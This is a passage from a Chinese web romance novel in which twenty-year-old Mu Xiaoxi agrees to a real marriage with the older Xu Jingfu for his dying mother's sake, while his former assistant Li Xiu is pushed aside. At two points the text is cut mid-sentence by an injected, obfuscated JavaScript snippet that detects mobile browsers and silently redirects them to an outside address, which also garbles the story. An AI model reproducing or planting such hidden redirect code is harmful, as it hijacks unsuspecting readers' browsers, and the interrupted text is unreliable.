木晓晞不知道自己是怎么想的,当她意识到自己在做什么的时候,徐敬孚已经抓住了她那只拿着纸巾试图给他擦脸上的水的手,他的手很大,很有力,不容置喙地握住她将她的手慢慢推开。 他自己拿了纸擦脸:“我说过,你没机会了。” 木晓晞“嗯”了一声。 徐敬孚:“你怎么想。” 怎么想? 她有点不明白他在问什么。 徐敬孚跟她说,很清晰地说:“我对你,没有那个心思,你对我来说只是一个孩子,一个曾经救过我命的孩子,我不会和你发展出任何超出长辈和晚辈之间的关系,明白吗?” 木晓晞点头。 他又问她一遍,你怎么想。 他总是这样,总是很执着地问她怎么想。如果是木钧,就不会问这些,因为就算问了也不起任何作用,他会有自己的想法和决定,而她的想法从来都是是一曲虚假民主的背景音。 见她不回答,他又问了一次。第三次了。 “你怎么想,这件事。” “我……”木晓晞低下头,两只手捏着,一只手的大拇指不自觉地搓着另一只手的食指,“我能理解徐叔叔您的想法。” 徐敬孚:“然后。” 然后? “然后……”她模仿他的句式,“我也没有那种想法,您对我来说是长辈,是帮我家解决了大麻烦,也帮了我的长辈,我尊敬您。” 是对的话,但不是徐敬孚想听的。 徐敬孚也不和她再绕圈子:“我会想办法弄个假证,但在我母亲去世前,你需要配合做戏……木晓晞,我只对你有一个要求,我希望你面对我的时候,可以尽可能地诚实,说真心的话,说实话,哪怕这些实话并不好听,也让你觉得羞耻尴尬甚至是害怕,能做到吗?” 木晓晞低着头,使劲地捏手,指甲陷入皮肤中几乎将皮肤掐得变了色。 “抬头看着我。”徐敬孚命令她。 “……”木晓晞不抬。 “抬头。” 她还是不抬。 他伸出手直接将她的下巴抬起来:“能做到吗?” 木晓晞说:“做不到。” 徐敬孚:“……” 木晓晞:“是您让我说实话的。” 徐敬孚差点被她气笑,他似乎是有些失望:“你顶嘴的叛逆精神,能用在别处就好了。” 看到他的失望,她忽然感觉有点难过。说不上是为什么。 只见他深深地吸了口气,然后又长长地沉沉地叹了口气,这是他第一次这样直接面对着她如此叹气,像极了一个对自己的孩子恨铁不成钢的父亲。 他起身来,走到自己的办公桌面前,一样样地整理起桌面上的东西,将今天要处理的文件拿起来随手翻了翻。他的神情在那一次叹气后已经恢复如常,波澜不惊沉着坚毅,像第一次见面时一样威严而冷漠,看不出深浅。 他拿了一支笔打开,坐下来,似乎已经调整好了心情,准备结束早上的这个小插曲开始新一天的工作。 “我不想要一个假的结婚证。”木晓晞看到他的动作停了下来,继续说,“叔叔,如果要领证,就给我一个真的。” 她知道徐敬孚的考量,明白他是在为自己的前途和未来着想。 正是因为明白,所以她才觉得荒谬,觉得自己过去的一切都像一个笑话。一个陌生人,一个被她认为和木钧是同种货色甚至更恶劣的男人,竟然会为了她这样一个陌生人考虑这些,花了钱受了气,还要考虑她的心情,考虑她的未来,考虑她的利益。 虽然他说,是救命恩人。是在报救命之恩。 “您说,我是您的救命恩人,是我在您生死一念的时候让您打消了结束生命的想法,有了继续活下去的动力,这对您来说,的确是一个很充分的理由和动机。”她从昨天听到这个说法到现在,已经不知道多少次搜寻自己的记忆,但不管她怎么想,怎么回忆,都一无所获。 昨晚回到别墅后,他跟她细细讲过曾经,他说他们相处过接近一个月,在一座小桥上,在黎明前的星空下,在去学校的路上。 他也复述过她小时候说过的一些话,试图唤起她的记忆,带她去三楼看过那张画技一般的画作,那是他曾经靠着回忆画出来的风景。 画上的桥很小,星空很大,桥上有两个大小不一的黑点,他说那就是他们俩。 完全看不出。 他说,他每一次压力大的时候感到没有希望的时候,都会看看那幅画,想想曾经,想想她说过的话,所以他才能在第一次见面时就能随口而来地说出她曾经说过的话。 完全不记得。 “星星看起来很小,但其实很大,很亮,是夜晚的太阳,可以在夜空里发光。” 她说着这句陌生的话,心里没有丝毫的触动。她自嘲地笑了笑。 “可是叔叔。” 她已经长大了。 “我什么都不记得了。”她看着徐敬孚说,“那是属于你的回忆,不是属于我的。” 徐敬孚放下笔,也看着她,安静地等她说。 “虽然理智告诉我,您说的大概率是真的,毕竟您是一个商人,会愿意付出这么大的代价来帮助我,肯定是有原因的,这个原因很可能就像您说的是因为我是您的救命恩人,但是……我脑子里还有另一个声音,一直都存在。” “那个声音说,这背后一定有什么我不知道的东西。” “也许那个东西是更坏的,更可恶的,更难以接受的。” 徐敬孚问她:“所以这个更坏的,更可恶的,更难以接受的东西是什么?” 木晓晞忽然笑了,说:“说出来您恐怕又要打我第二个耳光。” 徐敬孚无奈至极地摇了下头,扯了下嘴角,看得出已经有些生气了。 木晓晞继续说:“是您说的,就算不好听,也要说出来。” 徐敬孚:“我也没说,不管你说什么我都不能生气。” 木晓晞想了想,好像也是。 她笑了。 忽然感觉没那么沉重了。 “不如就把这个坏的东西先给我吧,这样我能踏实一点,给我一张离婚证,就像您之前说的,就当是我成长的代价。”木晓晞走过去,将自己的身份证从包包里拿出来,放到他的面前,“叔叔,无功不受禄,我二十岁了,也可以结婚了。” 徐敬孚气得差点把身份证拿起来扔了,结果他听到木晓晞又说了一句。 “叔叔,我已经没有家了。” 如果不结婚,我该如何自处。 情人?可笑。干女儿?更可笑。 “给我一个身份,可以名正言顺留在徐家,好吗?” 大概是被木晓晞气到了,徐敬孚连着有半个月都没有再回别墅,听陈遇说,他在公司附近有其他的住所。 也许还是那句话:“不知好歹”。 不识相。 每次都选错,这一次也是,还是一个愚蠢的“错误选择”。 可那又怎么样呢? 谁说一定要选对的? 木晓晞这半个月并没有一直在别墅里宅着,徐休中间有给她打过电话,邀请她去度假山庄玩了两三次。 第一次去的时候,于珍刚好困了,说要睡一小会儿,结果没想到一直睡得不醒来,她跟徐休就在房间里坐着陪伴着睡着的于珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200758|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她看到徐休在旁边轻轻地给于珍打扇。 “她知道徐敬孚心里一直放着一个人,但她不知道那个人是谁,她以为,是他来徐家之前认识的女朋友,徐敬孚对他的过去不爱谈论,就算于珍,也问不出太多的东西,只知道那个女孩喜欢星星,喜欢吃橙子。” 徐休慢慢地跟她讲,他对她的态度比对徐敬孚要好很多儿,语气也温和很多。 “对于一个做母亲的人来说,三十七岁的儿子还没结婚是个大问题,我想你能理解。” 木晓晞点头。 “不会很久的。”徐休抚摸着于珍的白发和苍老的面颊,“她也快不行了,你不用等很久就可以自由,如果你做得够好,能让于珍开心,我会给你额外的报酬。” 木晓晞摇头。 徐休笑道:“你倒跟你爸不一样。” 木晓晞说:“您已经给我爸爸很多钱了。” “她不知道你才二十岁。”徐休低下头,轻轻地吻了一下于珍的手,“她已经糊涂了,从很久以前就开始糊涂,现在更是,眼睛看不清,脑子也糊涂,如果她知道你才二十岁,以她的道德标准,她不会促成这一场婚姻。” “她怎么了?” 徐休沉默了好一阵,像在回忆过去。 “徐敬孚没和你说过吗?” 木晓晞摇头:“什么也没有,只知道于……于阿姨生重病了。” 徐休笑了一下:“他的嘴巴倒一直是很严……徐敬孚来徐家前,我们还有过两个孩子,一儿一女,女儿二十七岁抑郁症自杀,儿子二十二岁,车祸去世。” “……” “于珍一直认为是她的错,是她忙于工作没照顾好孩子,孩子们怨恨她,所以才都走了,她一直很自责。”说到这里,徐休停了下来,问她,“听说你没有母亲,是这样吗?” 木晓晞紧了紧手:“是,我妈妈生我的时候难产去世了。” 徐休点点头:“徐敬孚跟你说过他的身世吗?” 木晓晞有点迷茫,不太清楚他是什么意思?什么身世?徐敬孚不就是徐家的儿子吗? 看到她的困惑,徐休又笑了:“他真是什么都没跟你说。” 说什么? 他们一共才见了几面,能说些什么? 徐休笑了一会儿,才又说:“那他应该也没告诉过你,在二十四岁之前,他一直是一个孤儿,我找到他的时候,他几乎是处在半流浪的状态中,穷得连二十块都拿不出来。” 木晓晞抿了下嘴:“这个我知道。” “你爸跟你说的?” 她点头。 “那你爸跟你说过其他的吗?” 其他的?什么其他的? 徐休想了想,反问她:“难道你不好奇,为什么徐敬孚一直叫我徐董而不是‘爸爸’吗?” 最终,徐休也没给她答案。 他说徐敬孚没告诉她的,他也不会说。然后便叫她走,叫她下次再来,这次先叫于珍好好睡一觉。 第二次她去见于珍时,于珍还是困,没说一会儿话就又睡了,于是就有了第三次。 第三次是中午去的,于珍的状态就很好,像初见时一样,是个温和慈祥的老太太。因为徐休跟她说,要把年纪说大几岁,编造一个假的职业,所以她跟她说,她是一个法语翻译,已经二十五岁了。 “二十五岁啊。”于珍犹豫了一会儿,还是说道,“那真是委屈你了孩子。” “不委屈,阿姨,徐总对我很好。” “乖孩子。”于珍听她这样叫,好几次想纠正,但还是没纠正,摸摸她的头,“你怎么总叫乔儿徐总,真生疏,平常你们私底下也是这样叫吗?” “……”该怎么编?她忍不住看在一边削苹果的徐休,企图从他脸上看到答案。 可惜徐休并不打算指导她。 木晓晞沉默了。纠结万分。 “晓晞?”于珍又摸摸她的头。 木晓晞抿着嘴:“私下,私下……我就是……我就是叫他……” 最后两个字低到几乎听不见。 于珍又靠近一分:“什么?” 木晓晞看着徐休事不关己的样子,有点放弃挣扎了,不知道怎么回事,她就是没办法叫出徐敬孚的名字,她垂头丧气地说:“叔叔,我叫他叔叔。” 于珍:“……” 徐休:“……” 木晓晞破罐子破摔,嘟哝道:“他毕竟大我那么多。” 徐休差点被她拙劣的演技逗得笑出声来。 于珍也有些尴尬:“啊,是,是,是有点多了,十二岁嘛,是差不多该叫……该叫叔叔了,咱们……咱们各叫各的,呵呵,各叫各的。” 徐休:“……” 木晓晞:“……”何止十二,是十七。 “那阿乔跟你聊过后面的打算吗?”于珍又问。 聊是聊过。 于珍眯着眼睛,有点期待地问:“他怎么打算的?晓晞你……又是怎么想的?有什么具体规划吗?” 正问着。 一个男人低沉的声音从门口传来:“明天去领证,就这么规划的。” 木晓晞一下子瞪圆了眼睛:“叔……” 徐敬孚有些烦躁地一把将徐休手里的苹果拿走放到桌上:“上回医生都说了,妈不能吃太多苹果,您又忘了?” 徐休:“……” 下一个殃及池鱼的则是木晓晞,他把一脸懵的木晓晞一把从座位上提起来,看了眼时间:“还是说,现在?” 于珍连忙眯着一双朦胧不清的眼睛,打哈哈道:“哎呀哎呀你这孩子,我就是随口一说,没催,真没催!真是的,现在去领,你是说下午啊?下午,下午领也……也不是不行嘛!” 徐敬孚:“……” 感受到气氛的变化,于珍瞬间改口:“下午怎么行呢?预约了没?现在领证都要按正规流程走的!对吧儿子?” 20. 第 20 章 (二十) 于珍的性格是很活泼的,和徐休的截然相反。 她细腻体贴,总是能顾及到木晓晞是这个房间里唯一的外来者,担心她不自在,总是说什么都会带上她两句,想到什么点子都会问问她,吃什么喝什么总要征求她的意见。 从问吃问喝这一点来说,徐敬孚很像她。 她也是他们中最幽默的那一个,不糊涂的时候,很喜欢逗人,刚逗完徐敬孚,又来逗她:“你前面叫我阿姨的时候,你都不知道我那颗心都抖了两下,我心想,我哪有那么年轻?后来知道你私下把阿乔叫叔叔,我又抖四下,我又想,我跟阿乔这辈分该怎么算?” 听到这话,正在给她按摩手臂的徐敬孚抬眼朝她这儿看来。 木晓晞有种说了人坏话被抓包的尴尬,连忙低头回避:“您不是说了,各算各的……” “傻。”于珍点了下她的鼻子,拉过她的手,然后又拉过徐敬孚的手,将他俩的手叠放在一起。 徐敬孚的手覆在她的手上,宽大粗糙的手掌几乎将她的手全部覆盖。她僵着手掌一动不动任由摆布,用意志力克制着自己的动作,生怕一不小心就条件反射把手给抽出来了。 “阿乔这不给了办法?”于珍混沌的双眼笑得全眯了起来,眼角有些湿润,不知道是分泌物还是眼泪,“明天过后啊,就没有这烦恼了,到时候你该叫……” 木晓晞张了张嘴。 见她叫不出口,于珍也不逼迫,摸摸她的头:“阿休说你从小没有妈妈,以后,你就把我当妈妈,虽然啊我这妈妈是有点老了……” 木晓晞连忙摇头:“没有,没有老,阿姨还是很漂亮。” 于珍笑得合不拢嘴:“都老成这样了,从哪儿能看出来漂亮呀?” 木晓晞说从哪里从哪里从哪里,一样一样认真地列举,她说起这些话来真心又认真,很快就把于珍说得心花怒放恨不得从今天下午开始就着手做妆造,以便明天能盛装出席见证儿子的领证仪式。 也不知道是不是就是天生很投缘,自从木晓晞进来这个房间,于珍脸上的笑就没下去过。 跟徐家两父子这种只会默默做事的人很不同,木晓晞虽然也话不多,但她明显是另一个类型。 不说别的,于珍今天的状态虽然很好,但很多时候还是会前言不搭后语,说一些车轱辘话,两分钟前问过的问题两分钟后可能就又要问一遍,刚讲过的故事没一会儿又要再讲一次,这种情况放在徐家父子身上,虽然也不会打断她叫她不要说,但总归是回应得没那么好,而木晓晞就不一样,无论于珍重复多少遍,她总能像第一次听到那样露出相应的神情和反应,一双杏眼中随着于珍的讲话时而流露出惊讶、赞叹、害羞、疑惑、恍然大悟……然后每一次对车轱辘话的回应也不同。 比如于珍反复说“阿乔小时候可听话了,不像现在”时,她第一次的回应是很惊讶地看了徐敬孚一眼,重复问:“他小时候听话?” 然后于珍开始说他小时候有多听话多听话。可听她说的,很明显不是徐敬孚小时候的经历,但她也没有打断,反而很认真地点头:“哦,哦,原来是这样。” “没想到吧?” “没想到。” “谁知道现在变得这么……不可爱。”于珍叹气,“现在连看我儿子笑都成了一个奢望,哪天要看着他笑了,我都得去查查黄历,看看是不是好日子。” 木晓晞附和点头:“确实。” 于珍:“是吧?是吧?” 这是第一次说。没一会儿,她又提起来:“阿乔小时候我说什么都听,哪儿像现在。” 木晓晞又问:“比如说呢?” 然后于珍开始讲起来,说他小时候也很调皮爬山上树,好几次差点从上面摔下来,有一次真摔了,从假山上掉下来摔破腿上一大片皮,哭得稀里哗啦,她拿着小木棍打他手心吓唬他,棍子还没挨到肉,他就哇哇大哭起来,说我不爬了再也不爬了。从那之后,就真没有再去爬过假山了。 “不像他的作风。”木晓晞听后评价道,“我以为他小时候是那种积极认错死不悔改类型的。” 于珍:“对啊对啊,他现在就是这样。” 接着开始聊徐敬孚这些年的抽烟顽疾,怎么说都不听,埋怨他成年后脾气就叛逆了,上大学一年到头不知道打一个电话给她,只有要钱的时候才积极。 说着说着,她又说开了:“他小时候啊,很可爱,很听话,温顺得像个小猫咪。” 第三次说同样的话了。徐家父子俩都察觉到不对劲,知道于珍应该是累了,她一累脑子就混乱了。 徐敬孚本打算直接打断于珍,让她休息,但徐休却拦住了他,指了指木晓晞。 只见木晓晞听到这话后再次露出仿佛第一次听的惊讶表情:“温顺?听话?小猫咪?徐叔叔吗?不会吧?” “怎么不会,他……” 就这样,于珍最后是笑着睡着的。 其实聊到后头于珍没说话的劲儿了,但聊天的欲望还是很旺盛,也许是因为太久没有人这样跟她聊天说话了,遇到木晓晞后简直像遇到了知音,哪怕眼皮子好几次都要耷拉了,还是硬撑着不睡,像极了为了玩手机熬夜的年轻人。 于是木晓晞就和她说:“阿姨听段子吗?” “段子是什么?” “就是一些笑话。” “没听过。” “那我给您说两段?”木晓晞一边轻轻拍着她的手背,一边开始给她讲一些她爱看的段子和笑话。 她的声音软软的,很柔和,像一阵夏夜的凉风,轻轻地抚慰着在场每个人的发丝和脸颊。 于珍边听边笑,笑着笑着,眼睛就闭上了,挣扎两下又睁开眼继续笑,就这样反复着,直到最后彻底闭上了眼,鼻腔中发出均匀的呼吸。 徐休很久没见过于珍这样笑过了,像这样睡着了脸上都带着笑的状态,他这辈子也没见过几次,儿子去世后,就更没有过了。真心的笑容都少见,何况笑着入睡。 直到她睡着,木晓晞还是轻轻拍着她的手背,声音越来越低,直到讲完整个段子她才停下。 “睡着了。”她转头小声跟徐家父子说。 徐敬孚看着她,神情很是复杂。 他跟徐休说:“妈睡了,那我和晓晞就先回去了。” 闻言,木晓晞连忙起身。 往外走的时候,木晓晞跟徐休打招呼说再见,徐休跟她说:“反正你也在放假,没事就过来玩,嫌来回跑麻烦的话,带几件衣服过来住一段时间也行,你说呢?” 木晓晞还没回答,徐敬孚便帮她说了:“徐董,她平时也要学习。” 徐休理都不理他而是看着木晓晞:“很忙吗?” 木晓晞摇头:“不忙,我可以来陪阿姨。” 徐休笑了,眼神很难得地柔和了下来,他拍拍木晓晞的肩膀:“明天之后,就不要叫阿姨了,她会不开心的。” 说着对他们挥了挥手,朝着床边走去。 徐敬孚带木晓晞出了门,一路无言地来到停车场,上了车。 上车后,他看到跑去后座坐着准备关门的木晓晞,说:“坐到副驾驶。” 木晓晞:“……” 徐敬孚又重复一次:“到副驾驶来。” 木晓晞只好下车转到前面来,开门进来坐到副驾驶位上,她闷不吭声地系安全带时,听到对方说:“你不想来的话也可以不用来那么频繁,按合同约定的期限次数来就可以了。” 木晓晞把安全带插好:“我也喜欢跟阿姨聊天。” 反正也没事做。 阿姨?徐敬孚有些不知道该怎么说。这戏倒是演得很上手。 “于阿姨说的那个阿乔,不是叔叔吧?”木晓晞问。 按徐休的话来说,他二十四岁之前都还没进徐家,她又想起木钧说的,说他出身卑贱四处流浪,曾在天下桥和乞丐同吃同喝。就算用徐敬孚自己讲的他们曾经的事,她七岁的时候他还一无所有困顿到想要跳河,她那时都已经七岁了,而他……二十四,刚好。 谈不上什么小时候。 于珍说的应该是其他人,可能是徐家的那个意外车祸离世的小儿子。 徐敬孚没有立马回答,而是安静地打着方向盘将车开到路上,开了一会儿后,反问她:“问这个干什么?” “叔叔也没有爸爸妈妈吗?”她稍稍朝旁边投去一线目光,看到那双放在方向盘上的手,想起来先前徐敬孚的手放在她手背上面时,她感受到的粗糙宽厚温暖有力。 那确实是一双干过苦活的人的手。木钧的手,曾经也是这样的。 “有。”徐敬孚说,“刚刚不是还见了吗?” 木晓晞愣了一下:“我是说……” “徐董跟你说了多少?” “……”她看了眼身旁的男人,没从他脸上看出什么异色,很认真地在开车。她觉得自己说错了话,道歉道,“对不起……是我口误了。” 徐敬孚问:“你觉得我不像徐家人吗?” 木晓晞想了一下:“没有,你们很像。” “哪里像?” “长得像,性格气质也像。” 和徐休一样不爱说话,理智沉稳,和于珍一样底色善良温暖,总是关心她的吃喝。 徐敬孚扯了扯嘴角:“是吗?” 木晓晞点头:“上次来这里的时候,徐董事跟我说了一些徐家的事,关于他去世的两个孩子,于阿姨的病情,还有关于您……他说您是二十四岁才回到徐家来的。”她又看了眼徐敬孚,补充道,“我就知道这些,刚刚是口误了,我想到徐董说您二十四岁之前一直是一个人长大的,所以……说错了。” 徐敬孚又有一阵没说话,看起来情绪好像不是很好,嘴角一直耷拉着。 肯定是戳到他的痛处了。木晓晞心想。 一个人在外流落二十几年,如果不是两个姊妹都没了,于珍精神失常,恐怕徐家也不会再去找他。如果按徐家和谐团圆的剧本来演,徐敬孚很可能一辈子都是没有家没有爸爸妈妈的孤儿,而且,按徐休对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200759|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐敬孚的态度,以及两人平时的称呼来看,关系似乎也并不是很融洽。 想到这里,她对自己这句不经意说错的话感到内疚,几次三番地观察徐敬孚的神情,手不知所措地腿上搓了又搓。 连车内的空气都愈加沉重,憋闷。 正当她在考虑要不要再道歉一次时,旁边一直沉默的男人忽然开口了:“差不多算是。” 什么? 徐敬孚却没有再解释了。 直到车开进住宅区,缓缓停到别墅门口的空地上,他打开车灯和车窗,从手边的收纳柜里翻了包烟出来,很熟练了从兜里摸了打火机出来点上:“明天早上早一点起来,去照相馆去拍照,下午领证。” 木晓晞:“……好。” 徐敬孚往车窗外看了一会儿,然后从兜里拿了个小盒子伸过来:“戒指我叫李秀随便挑了一对,你的是她帮忙试的,你比她瘦,就拿了小一号的。” 木晓晞看到他手里有一个很漂亮的湖蓝色小盒子,愣了一会儿后,拿了起来。 徐敬孚看到她愣愣的样子,扭头又狠狠抽了一口烟,把烟掐了:“时间紧,买的现货,不一定合适,你要不喜欢回头可以拿去换。” 木晓晞打开盒子,看到里头有一枚款式并不浮夸的女戒,中间的小钻石是一颗星星的造型,两侧有一小圈零星碎钻。 她看了眼徐敬孚,又看了眼戒指。 徐敬孚:“试试。” 得了准令,木晓晞便将戒指小心翼翼地拿出来,伸出中指,往里面套,套到关节处有一点卡住了。 徐敬孚把烟头扔到窗外,拉过她的手,拿过钻戒:“婚戒是戴在无名指的。” 他慢慢将戒指推到无名指底部,李秀挑得刚刚好,不大也不小。 女孩儿的手指很是纤细,整个手白皙柔软。虽然木钧待她不好,不过也看得出来至少没有让她吃过体力的苦。 木晓晞看着戴好的戒指有点出神,有种陌生的感觉渐渐弥漫在她的心里,不知道那是什么,她微微转动着手指,看到戒指上的钻石随着角度的不同在灯光下发出流星般的光芒。 她就这样转来转去地看了好一会儿,然后抬起眼来跟徐敬孚小声说:“好漂亮。” 徐敬孚:“喜欢?” 木晓晞点头:“我没戴过这么漂亮的戒指。”她买过最贵的戒指也就一两百块钱,是用来搭配衣服的戒指。 徐敬孚看到她脸上那纯粹的对漂亮饰品喜欢的表情,笑了下。果然还是个小孩儿。 无名指的钻戒到底是什么意思,恐怕她到现在还不太理解,难怪能那么轻易地说出要一个真的结婚证这样的话。 “平时不想戴的话可以不用戴,去见老太太的时候戴上就行。”他抬手看了眼时间,“不早了,你早点回去睡觉,明天好早些起来。” “叔叔你呢?” “我还有事要忙。” “……哦。”木晓晞连忙把钻戒取下来,放到盒子里,装好以后打开车门下了车。 下去后,她往边上站了站,给车让开倒车的空间。 眼看着车很快就要开走了,她忽然叫了一声徐敬孚:“叔叔!” 车停下来,车里的男人朝她看了一眼。 她顿了一下,小跑两步到了车窗边敲了敲。徐敬孚降下车窗。 “叔叔晚上回来吗?”她问。 “……”徐敬孚说,“我不住这边。” “那您住哪儿?” “问这个干什么?” “这边的房子,您平时不回来吗?” 徐敬孚摇头:“一般情况下不回,这边的房子,以后只有你和保姆住。” 木晓晞:“……为什么?” 徐敬孚看着一直追问的女孩儿,伸手摸了摸她的头:“早点休息吧。” 说罢就冲她挥了下手示意她靠边,然后将车开了出去。走的时候,他透过后视镜看到女孩儿一直站在原处看着他这个方向,他深深地吸了口气。 车都已经开出去七八米,他又踩了刹车。 见车停了,后视镜里那个小小的人影毫不犹豫地从昏暗的夜色中跑上前来。 突然间,他想起了曾经,想到了那个每天都从昏暗的夜色中跑向他的孩子,后视镜里的女孩儿从小小的样子慢慢变大,变成了一个亭亭玉立的小姑娘。 “叔叔。”她脆生生地喊着。 徐敬孚看到她绷着一张小脸眼眶微微有点发红的样子,忍不住叹了口气。 木晓晞问他:“叔叔,你还在生我的气吗?” 徐敬孚摇头。 木晓晞眨眨眼,将湿润眨进眼眶里,问他:“那你为什么不回来住?要搬走也应该是我搬走,这是你的家,不是吗?” 徐敬孚摸了下她的头:“我没生你的气了,快回去睡觉吧。” 木晓晞:“不用避嫌,叔叔,我不会对您有什么乱七八糟的想法,现在不会,以后也不会。” 徐敬孚:“……” 木晓晞拽住他的袖子:“我发誓。” 21. 第 21 章 (二十一) 徐敬孚最后还是留下了,打电话叫李秀帮他把明天要用的东西送了过来。李秀来的时候木晓晞已经上了楼,两个保姆在给他做夜宵,他还要忙一会儿。 李秀拖着一个行李箱进来,跟王俊丽打了招呼:“王姐,好久不见,最近怎么样?” “小秀,你怎么来了?”正在煨汤的王俊丽有些惊喜,她连忙迎上去跟她抱了抱,“我最近都好,也不忙,木小姐也很好相处……哎呀,好久不见了,有快一个月了吧,你休假啦?” 李秀听到“木晓晞”三个字,笑容滞了一丝,不过很快就又恢复如常,她亲切地跟王俊丽和一边的李香榕分别拥抱:“好久不见李姐……对,我前阵子刚好休假了,这几天才重新开始上班。” “那怎么一直没过来呢?”王俊丽问。 “陈秘书说你以后不管这边的事了?”一旁的李香榕问。 李秀装若无事地笑道:“对啊,这边你们两个其实就够了,我嘛,我现在处在半转岗的状态,帮徐总打理打理他公司附近那个公寓,再就是平时帮忙处理一些公司的事,跑个腿之类的,等过阵子新的生活助理来了,我就准备完全换岗了。” “换岗?” 李秀点头,一边把拉杆收起来,准备往楼上提东西:“嗯,不做生活助理了,不过还会做点其他的事,可能以后就会很少跟你们见面了。” 王俊丽和李香榕闻言,默默对视一眼。 她们也是知道的,李秀之前是徐总“另一半”预备役的事。当时还想着李秀名牌大学高材生,会四种外语,工作能力出众,小徐敬孚十岁,虽然从家境来说不算什么大小姐,但也不算条件差,冲着那张明星似的漂亮脸蛋,配徐敬孚还是能配得起的。 今年上半年李秀都能来徐敬孚这边别墅帮他打理家里了,偶尔也会留宿,衣服鞋子也越穿越贵越来越精致,本来都以为这关系都是要板上钉钉的事了,没想到还能有变数。 她们心里也多少替李秀感到惋惜,毕竟比起才二十岁还在上大学的木晓晞来说,李秀显然更像一个可以成为“妻子”的成年女性。 不过这都是雇主的事,她们也只能耳不闻眼不见,当什么事也不知道地憋在肚子里。徐敬孚有一万个不是,工资是他开的,待她们也不薄。 李香榕闷不吭声过去帮李秀一起提箱子。 徐敬孚在办公室里回完最后一份邮件,他把电脑关了,有点疲倦地揉了揉眉心,最近工作上的事也闹心得不得了,钱成滨那边查出来一堆烂账,牵扯出来了总公司的一些关系。再往下查要得罪人,不查,烂账到后期又有可能要藏雷。 难怪钱成滨会跟木钧坐到一桌去,甚至把于珍休养的地点都透露了出去,对于现在几乎在走钢丝的钱成滨来说,一百万都可以是个大数字了。 “呼……” 一种久违的无力烦躁的感觉弥漫上了心头,很久没有过这种感受了,但最近好像很频繁。 自从木钧找上门,自从木晓晞出现,好像就经常会这样。那感觉就像是在床下发现了一只没翅膀的白蚁,一只白蚁的发现说明附近已经有成熟的巢穴了,那些真正大部队正藏在某个无人知晓的角落里不停地繁殖着,啃噬着,涌动着,好像那张睡了十几年的床随时会塌陷,住了十几年的房子随时会成一具空壳。 他不知道那些白蚁是什么,只知道很不舒服,而且是一种很陌生的不舒服。 有种……失控的感觉。 他看向桌上台灯边那个湖蓝色的小盒子,它和木晓晞的那个是一对。他打开盒子,看了好一会儿。 真荒谬。 他拿出里头的戒指,学着木晓晞的样子在台灯下翻来翻去地看着。 “咚咚。”有人敲门,“徐总。” 李秀。 他抬起眼来,盯着门口看了两秒,然后又看向手里的戒指。 “徐总,行李拿来了,我把东西放到您的卧室里吗?” 他慢慢收起手指捏住戒指,起身将盒子拿起来,把戒指重新放进去,再拉开抽屉将盒子放下。推上抽屉。 他去开了门。 “辛苦了。”他跟李秀说,“东西就放这儿吧,我一会儿让王姐收拾。” 李秀愣了一下,有点尴尬地笑了笑:“不辛苦,反正我也不忙,要不我现在帮您……” 徐敬孚把行李直接拖进办公室:“不用了,你先回去吧。” 李秀:“……” 徐敬孚跟她说:“明天就去行政部报道,我跟那边已经打了招呼,到时候有人给你安排后续的事。” 李秀眼眶有些泛红:“徐总……” 徐敬孚却是个铁石心肠,只是跟她稍一点头:“我还要忙。”说着便要将门关上。 李秀连忙伸手拉住他:“徐哥!” 木晓晞也并没有睡,虽然最近睡得总是很多,但今天却睡不着。她躺在床上翻来覆去地想白天的事,想最近的事,时不时看看枕头边的戒指盒。 下车后,她再也没打开过这个盒子,她也不知道是为什么。有点不敢。 她拿了一本小说到床上来看,一本……看起来不应该存在于那个书架上的书,叫命运的求索。大概就是讲一些跟命理相关的东西,说实话,看不懂。看了几天,每次都睡倒在了命理学发展历史的那一部分。 她想她应该是没有什么算命的天赋和头脑,还是用来催眠比较好。明天要去办大事,总不能不睡。 刚调暗灯光,躺下来打开书,忽然她听到楼下有谈话的声音传来,因为房间的隔音还不错,所以听不清,只是因为夜太静,楼下的大门又是开着的,所以能从纱窗外听到一丁点。 有人来了吗? 这个时间? 她看了下时钟,已经是晚上十点了。 会是谁呢? 正疑惑着,她听到卧室门外楼梯上传来一点响动,像是有人在提着什么东西在上楼,有时东西不小心磕碰在楼梯上会发出声音。 那响动始终离她有些距离,好像没到三楼来。是去二楼了吗?都这会儿了,徐叔叔还在工作? 她稍稍坐起来了一点。 没一会儿,又出现了有人说话的声音,听不清,是个男人的声音。是徐叔叔。 另一个声音是个女性的声音,有点陌生,不像是王姐在说话,也不像李姐。听不太清楚。 木晓晞:“……”她在干什么? 她忽然意识到自己在干偷听的事,一下子有些尴尬,不知道自己这是在做什么,她连忙躺下来,拿了床头上的耳机准备戴上听会儿轻音乐,结果还没戴上,外头忽然传来一声很清晰的有些急切的叫声—— “徐哥!” 是……李秀? 徐敬孚拧起眉,往楼上瞟了一眼。 “进来说。” 他提着箱子进去,转身去桌边拿了烟点上,听到关门声后转过身,靠在桌边,看着有些狼狈地擦着眼泪的年轻女人,说:“该说的我想之前已经跟你说清了。” 李秀的心态他大概也能理解,本来定好是她,也已经暗示过有这个可能性,忽然临门一脚变了人,她一时不能接受也是很正常的事。 做徐太太,哪怕是名义上的,对很多女性来说也是一件足够有诱惑力的事。他并不认为自己跟李秀能有多少感情,哪怕是有,那也是建立在金钱基础上的东西,他希望李秀一如既往地识相,不要把简单的事情搞得太复杂。 